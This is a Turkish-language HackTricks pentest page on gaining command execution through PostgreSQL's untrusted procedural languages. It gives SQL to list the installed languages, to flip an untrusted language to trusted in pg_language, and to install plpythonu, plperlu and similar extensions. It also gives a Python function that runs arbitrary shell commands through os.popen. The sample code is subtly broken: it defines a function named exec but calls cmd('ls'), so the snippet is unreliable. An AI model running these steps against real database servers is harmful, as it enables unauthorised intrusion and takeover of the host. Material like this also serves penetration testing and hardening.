RCE with PostgreSQL Languages
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
PostgreSQL Dilleri
Erişim sağladığınız PostgreSQL veritabanında kötüye kullanabileceğiniz farklı betik dilleri yüklü olabilir ve bunları rastgele kod çalıştırmak için kullanabilirsiniz.
Onları çalıştırabilirsiniz:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
PostgreSQL'de kurabileceğiniz çoğu betik dili 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanların adı "u" ile biter ve kod çalıştırmanıza ve diğer ilginç işlevleri kullanmanıza izin veren versiyonlardır. Kurulduğunda ilginç olan diller şunlardır:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)
warning
Eğer ilginç bir dilin kurulu ama PostgreSQL tarafından güvensiz olduğunu bulursanız (lanpltrusted
false
ise) PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla güvenilir hale getirmeyi deneyebilirsiniz:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language tablosu üzerindeki izinlerinizi kontrol etmek için
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Eğer bir dili göremiyorsanız, onu yüklemeyi deneyebilirsiniz (süperadmin olmanız gerekir):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Güvenli versiyonların "güvensiz" olarak derlenmesinin mümkün olduğunu unutmayın. Örneğin bunu kontrol edin. Bu nedenle, yalnızca güvenilir olanı bulsanız bile kod çalıştırmayı deneyip denemeye değer.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Aşağıdaki sayfayı kontrol edin:
C
Aşağıdaki sayfayı kontrol edin:
RCE with PostgreSQL Extensions
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.